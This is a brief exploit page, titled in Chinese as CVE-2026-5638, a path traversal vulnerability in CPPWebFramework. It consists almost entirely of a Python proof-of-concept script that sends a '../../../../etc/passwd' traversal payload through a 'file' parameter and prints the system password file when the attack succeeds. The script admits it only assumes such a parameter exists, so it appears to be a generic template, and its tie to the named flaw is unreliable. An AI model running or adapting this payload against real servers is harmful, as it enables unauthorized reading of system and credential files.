CVE-2026-5638 CPPWebFramework路径遍历漏洞

import requests # Target URL configuration target_url = "http://127.0.0.1:8080" # Path traversal payload to read /etc/passwd # Assumes the vulnerable endpoint accepts a file parameter payload = "?file=../../../../etc/passwd" try: # Send malicious request response = requests.get(target_url + payload, timeout=5) # Check if exploit was successful if response.status_code == 200 and "root:" in response.text: print("[+] Exploit successful! Sensitive file content:") print(response.text) else: print("[-] Exploit failed or target not vulnerable.") print("Status Code:", response.status_code) except Exception as e: print(f"[!] Error occurred: {e}")